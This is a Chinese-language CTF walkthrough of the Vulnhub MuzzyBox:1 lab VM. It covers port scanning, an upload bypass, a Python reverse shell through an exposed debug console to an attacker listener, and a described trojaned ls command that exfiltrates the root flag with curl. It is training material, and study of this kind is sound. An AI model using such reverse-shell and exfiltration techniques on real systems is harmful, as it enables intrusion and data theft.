Vulnhub：MuzzyBox:1
Vulnhub：MuzzyBox:1
描述:I have created this amazing CTF for pentester. However, This is not like other CTF which has been using common exploits and tools. Instead, you will learn about Real-world website testing methodology, advance injections and more.
下载地址：https://download.vulnhub.com/muzzybox/muzzybox.zip
运行环境：靶机（VirtualBox） 攻击机：Kali（VMware）
1、信息收集
靶机ip：192.168.1.108
sudo netdiscover #发现主机
探测端口和服务
sudo nmap -sS -sV -O -p- -A 192.168.1.108
打开192.168.1.108:80发现存在index.txt，其中有三个挑战任务。
挑战1:
华盛顿州立大学为学生建立了一个在线图书馆。只有“委托人”才是“授权人”。
你能绕过他们的逻辑吗？？
链接：http://192.168.1.108:3000/
链接：http://192.168.1.108:9633/idcard.png
这里我们能够明确我们应该是一个绕过数据库的限制进行上传，最后还提到了注意不能直接上传，需要用您的名称编辑并上传它的屏幕截图。
192.168.1.108:9633/idcard.png
将这个idcard下载至我们的主机
curl 192.168.1.108:9633/idcard.png --output idcard.png
我们将这个图片文件放在windos中用图形工具进行修改。
将修改过的图片复制回kali中进行上传，成功上传。
挑战二
在数据泄露之后，大学开发了新的网站，但不知何故它仍在维护中。你能列出当前目录并读取标志文件吗。
链接：192.168.1.108:8989
我们进入到链接后发现是python 的错误页面。我们仔细发现，这个的后面有一个控制台的按钮，我们点击一下回出现让我们输入密码，这个密码就是挑战一中的那串数字。
在这里我们可以使用python进行正向连接，并且用nc进行监听。
nc -lvp 8578
import socket,subprocess,os
>>> s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
>>> s.connect(("192.168.1.107",8578))
>>> os.dup2(s.fileno(),0)
>>> os.dup2(s.fileno(),1)
>>> os.dup2(s.fileno(),2)
>>> p = subprocess.call(["/bin/sh","-i"])
输入id
查看flag
挑战3
系统受损后，根用户将使用“bash ls”和“sudo ls”命令审核web服务器文件和目录。你能用带外技术得到/root/Final_Flag.txt文件吗？？
链接：Link: http://192.168.1.108:15000/page?name=muzzy
这里我们借助Tplmap - 扫描服务器端模板注入漏洞的开源工具
下载链接：https://github.com/epinna/tplmap
git clone https://github.com/epinna/tplmap #将Tplmap工具下载至我们的主机
特别注意，因为这个工具是用python去写的，新版的kali中没有自带pip库，我们用下面的方法去安装pip库
sudo wget https://bootstrap.pypa.io/get-pip.py
sudo python3 get-pip.py
sudo pip3 -V
我这里不知道什么原因python运行不起来，但是通过网上的资料继续往下做吧，通过用nsctf用户名和iamnsce密码登录ssh进行连接。
第三个开头已经说了，让我们获得/root/final_flag.txt，我们再次启动nc进行侦听，用nano编辑ls命令，使用curl来创建一个post请求，从而来监听到结果。
熬了半宿终于把这个靶机弄完了，陆续我还不停的写vulnhub的靶机，希望我们可以一起学习，一起讨论，上面如果有什么问题希望大家可以帮我提出了，纠正我，可以加我的wechat：18944630819，邮箱：[email protected]
最后一个遗留问题
我的那个python运行为什么一直出错，谁能告诉我以下，我也已经安装了pip，而且下载了pyyaml，但是还是报错。
